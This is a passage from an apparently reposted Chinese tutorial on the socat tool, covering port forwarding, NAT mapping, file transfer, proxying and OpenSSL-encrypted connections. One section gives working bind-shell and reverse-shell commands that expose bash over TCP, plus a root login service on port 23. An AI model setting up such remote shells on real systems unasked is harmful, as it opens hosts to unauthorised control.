联通后在终端2上随便输入点什么,就能显示在终端1上,反之亦然,因为两条命令都是把标准输入输出和网络串起来,因此把两个地址交换一下也是等价的:
socat TCP-LISTEN:8080 - # 终端1 上启动 server 监听 TCP
socat TCP:localhost:8080 - # 终端2 上启动 client 链接 TCP
因为 socat 就是把左右两个地址的输入输出接在一起,因此颠倒左右两个地址影响不大,除非前面指明 -u
或者 -U
显示指明数据 "从左到右" 还是 "从右到左" 。
同 netcat 一样,如果客户端结束的话,服务端也会结束,但是 socat 还可以加额外参数:
socat - TCP-LISTEN:8080,fork,reuseaddr # 终端1 上启动 server
socat - TCP:localhost:8080 # 终端2 上启动 client
服务端在 TCP-LISTEN
地址后面加了 fork
的参数后,就能同时应答多个链接过来的客户端,每个客户端会 fork 一个进程出来进行通信,加上 reuseaddr
可以防止链接没断开玩无法监听的问题。
刚才也说了使用 socat 主要就是学习描述各种地址,那么想测试 UDP 的话修改一下就行:
socat - UDP-LISTEN:8080 # 终端1 上启动 server 监听 UDP
socat - UDP:localhost:8080 # 终端2 上启动 client 链接 UDP
网络管理
连接远程端口:socat - TCP:192.168.1.252:3306
监听一个新端口:socat TCP-LISTEN:7000 -
端口转发
在主机上监听一个 8080 端口,将 8080 端口所有流量转发给远程机器的 80 端口:
socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.1.3:80
那么连到这台机器上 8080 端口的所有链接,相当于链接了 192.168.1.3 这台机器的 80 端口,命令中交换左右两个地址一样是等价的。
这里 socat 比 nc 强的地方就体现出来了,nc 做转发时只能转发 1 次,第一条链接 accept 并且关闭以后 nc 就退出了,无法接受新链接,因此 nc 只适合单次使用。而 socat 加上 fork
以后,每次 accept 一个链接都会 fork 出一份来不影响接收其他的新连接,这样 socat 就可以当一个端口转发服务,一直启动在那里。还可以用 supervisor 托管起来,开机自动启动。
还可以用这个功能暴露一些 127.0.0.1 的端口出来供外面访问,比起 nc 的临时救急使用一下的场景,socat 是可以当一个服务长期运行的。
场景 2:在实际生产中我们经常会遇到到一个场景就是,用一台机器作为转发服务器,连接 AB 两个网段,将转发服务器的某个端口上的流量转发到 B 网段的某台机器的某个端口,这样 A 网段的服务器就可以通过访问转发服务器上的端口访问到 B 网段的服务器端口。
这样的场景一般在和客户建立专线的连接时候经常用到,一般也可以采用 iptables 做转发,但是比较复杂。Socat 可以很轻松的完成这个功能,但是 Socat 不支持端口段转发,只适用于单端口或者少量端口。
转发 TCP。监听 192.168.1.252 网卡的 15672 端口,并将请求转发至 172.17.0.15 的 15672 端口。命令:socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672
参数说明:
- 1. -d -d 前面两个连续的 -d -d 代表调试信息的输出级别。
- 2. -lf /var/log/socat.log 指定输出信息的文件保存位置。
- 3. TCP4-LISTEN:15672 在本地建立一个 TCP IPv4 协议的监听端口,也就是转发端口。这里是 15672,请根据实际情况改成你自己需要转发的端口。
- 4. bind 指定监听绑定的 IP 地址,不绑定的话将监听服务器上可用的全部 IP。
- 5. reuseaddr 绑定一个本地端口。
- 6. fork TCP4:172.17.0.15:15672 指的是要转发到的服务器 IP 和端口,这里是 172.17.0.15 的 15672 端口。
转发 UDP。转发 UDP 和 TCP 类似,只要把 TCP4 改成 UDP4 就行了。
命令:socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172.17.0.15:123
NAT 映射。在一个 NAT 网络环境中,也是可以通过 Socat 将内部机器端口映射到公网上的。
在外部公网机器上执行命令:socat tcp-listen:1234 tcp-listen:3389
在内部私网机器上执行命令:socat tcp:outerhost:1234 tcp:192.168.1.34:3389
这样,你外部机器上的 3389 就映射在内网 192.168.1.34 的 3389 端口上了。
不过这样场景下更推荐内网穿透神器 FRP
fork 服务
多进程。示例命令:socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld
不同设备的通信
将 U 盘进行网络共享
示例命令:$ socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr
将终端转发到串口
示例命令:socat READLINE,/dev/ttyS0,raw,echo=0,crnl
让 Socat 后台运行
默认情况下 Socat 只在前台运行,如果要让 Socat 一直在后台运行,可以使用 nohup 命令来保证其在后台一直运行。
示例命令:nohup socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 &
除了 nohup 外,Linux 下让进程在后台运行的方法还很多,比如:screen、tmux 等。在 Linux 中一切都是文件,无论是 Socket 还是其他设备。所以从理论上来说,一切能够在文件层级访问的内容都可以成为 Socat 的数据流的来源。
正向 shell、反向 shell
正向 Shell
1. 服务端
# 在服务端 7005 端口建立一个 Shell。
$ socat TCP-LISTEN:7005,fork,reuseaddr EXEC:/bin/bash,pty,stderr
或者
$ socat TCP-LISTEN:7005,fork,reuseaddr system:bash,pty,stderr
2. 客户端
# 连接到服务器的 7005 端口,即可获得一个 Shell。readline 是 GNU 的命令行编辑器,具有历史功能。
$ socat readline tcp:127.0.0.1:7005反弹 Shell。当有主机连接服务端的 7005 端口时,将会发送客户端的 Shell 给服务端。
1. 服务端
$ socat -,raw,echo=0 tcp-listen:7005
2. 客户端
$ socat tcp-connect:192.168.1.252:7005 exec:'bash -li',pty,stderr,setsid,sigint,sane
示例:使用 反向shell 实现 远程登录
使用 参数 "EXEC 可以执行程序" 并且把输入输出和另外一个地址串起来,比如服务端:
socat TCP-LISTEN:8080,fork,reuseaddr EXEC:/usr/bin/bash # 服务端提供 shell
socat - TCP:localhost:8080 # 客户端登录
完善一点可以加些参数:
socat TCP-LISTEN:8080,fork,reuseaddr EXEC:/usr/bin/bash,pty,stderr # 服务端
socat file:`tty`,raw,echo=0 TCP:localhost:8080 # 客户端
这样可以把 bash 的标准错误重定向给标准输出,并且用终端模式运行。客户端可以像刚才那样登录,但是还可以更高级点,用 tty 的方式访问,这样基本就得到了一个全功能的交互式终端了,可以在里面运行 vim, emacs 之类的程序。
更高级一点,使用 root 运行:
socat TCP-LISTEN:23,reuseaddr,fork,crlf exec:/bin/login,pty,setsid,setpgid,stderr,ctty
相当于在 23 端口启动了一个 telnetd 的服务,可以用 telnet 客户端来链接。
网页服务
首先编写一个脚本 web.sh
#! /bin/bash
echo -e -n "HTTP/1.0 200\r\n"
echo -e -n "Content-Type:text/html\r\n"
echo -e -n "\r\n"
echo "<html><body>"
echo "now is $(date)"
echo "</body></html>"
这里我们用 SYSTEM
地址类型代替原来的 EXEC
执行命令,因为可以后面写 shell 命令:
socat TCP-LISTEN:8080,fork,reuseaddr SYSTEM:"bash web.sh"
这时你就可以用浏览器访问:http://localhost:8080 的端口了:
相当于每次请求的时候,socat 都会 fork 一个进程出来然后执行后面的命令,启动上面的脚本程序,并且将脚本的标准输入输出重定向给网络链接。
相当于原始的 cgi 程序了,我们可以用 shell 直接完成一个 cgi 程序并由 socat 提供 cgi 服务,偶然需要暴露一些服务器信息的话,可以这样弄一下,返回的 html 里搞一个自动刷新,然后打开浏览器,实时监控服务器的情况。
文件传输
临时需要传输下文件,无需 scp:
socat -u TCP-LISTEN:8080 open:record.log,create # 服务端接收文件
socat -u open:record.log TCP:localhost:8080 # 客户端发送文件
这里用了 -u
参数,意思是数据从左边的地址单向传输到右边的地址,大写 -U
的话是从右边单向传输到左边。
将文件 demo.tar.gz 使用 2000 端口从 192.168.1.252 传到 192.168.1.253,文件传输完毕后会自动退出。
在 192.168.1.252 上执行:socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr
在 192.168.1.253 上执行:socat -u tcp:192.168.1.252:2000 open:demo.tar.gz,create
-u 表示数据传输模式为单向,从左面参数到右面参数。
-U 表示数据传输模式为单向,从右面参数到左面参数。
读写分流功能
Socat 具有一个独特的读写分流功能,比如:可以实现一个假的 Web Server,客户端连过来之后就把 read.html 里面的内容传过去,同时把客户端的数据保存到 write.txt 里面。
命令:socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork
!! 符号用于合并读写流,前面的用于读,后面的用于写。由于 ! 在 Shell 中是特殊字符,所以这里在命令行中使用 \ 对其进行了转义。
透明代理
第一句是用于 socks 代理的,第二句用于 HTTP 代理:
socat TCP-LISTEN:<本地端口>,reuseaddr,fork SOCKS:<代理服务器IP>:<远程地址>:<远程端口>,socksport=<代理服务器端口>
socat TCP-LISTEN:<本地端口>,reuseaddr,fork PROXY:<代理服务器IP>:<远程地址>:<远程端口>,proxyport=<代理服务器端口>
他们都可以把本地端口的请求转换成使用代理服务器访问的请求,比如:
socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
那么链接本地的 1234 端口,相当于通过代理服务器 127.0.0.1:5678 去链接 google.com 的 80 端口了,这里用了 SOCKS4A
,后面 A
的意思是让代理服务器去解析域名。
通过 Openssl 来加密传输过程
假设有一个服务器主机,地址为 server.domain.org。 并且服务端程序使用 4433 端口。为了尽可能的简单,我们使用一个非常简单的服务功能,即服务端仅回显数据(echo),客户端只进行标准输入(stdio)。要进行 Openssl 加密数据传输,首先需要生成 Openssl 证书。
1. 生成服务端的证书
# 为服务端的证书取一个基本的名字。
$ FILENAME=server
# 生成公钥私钥对。
$ openssl genrsa -out $FILENAME.key 1024
# 生成一个自签名的证书,会提示你输入国家代号、姓名等,或者按下回车键跳过输入提示。
$ openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
# 用刚生成的密钥文件和证书文件来生成PEM文件。
$ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
服务端证书生成完成后,复制信任证书 server.crt 到 SSL 客户端所在的主机上。
2. 生成客户端证书
# 为客户端证书取一个不同的文件名
$ FILENAME=client
重复上述服务端生成证书的流程。然后复制 client.pem 到 SSL 客户端主机,复制 client.crt 到服务端主机。至此完成了证书交换,服务端有 server.pem、client.crt 两个文件,客户端有 client.pem 、server.crt 两个文件。
其次我们需要建立 Openssl 服务端,在服务端我们不再用 tcp-listen (tcp-l) ,而用 openssl-listen (ssl-l) 。cert 参数告诉 Socat 包含证书和私钥的文件,cafile 参数指向客户端的证书文件。如果客户端能提供相关联的私钥,我们则认为该连接是可靠的。
$ socat openssl-listen:4433,reuseaddr,cert=server.pem,cafile=client.crt echo
运行这个命令后,Socat 会在 4433 端口监听,并要求客户端进行身份验证。
最后在客户端建立一个加密的链接,用 openssl-connect 或者 ssl 替换你的 tcp-connect 或 tcp 地址关键字,然后添加 cert 和 cafile 选项。
$ socat stdio openssl-connect:server.domain.org:4433,cert=client.pem,cafile=server.crt
test
test文章来源:https://www.toymoban.com/news/detail-401583.html
这个命令用来建立一个到服务程序的安全的连接。如果服务端和客户端成功建立连接后,会回显在客户端输入的内容。文章来源地址https://www.toymoban.com/news/detail-401583.html
到了这里,关于linux 命令:nc、netcat、ncat、socat的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!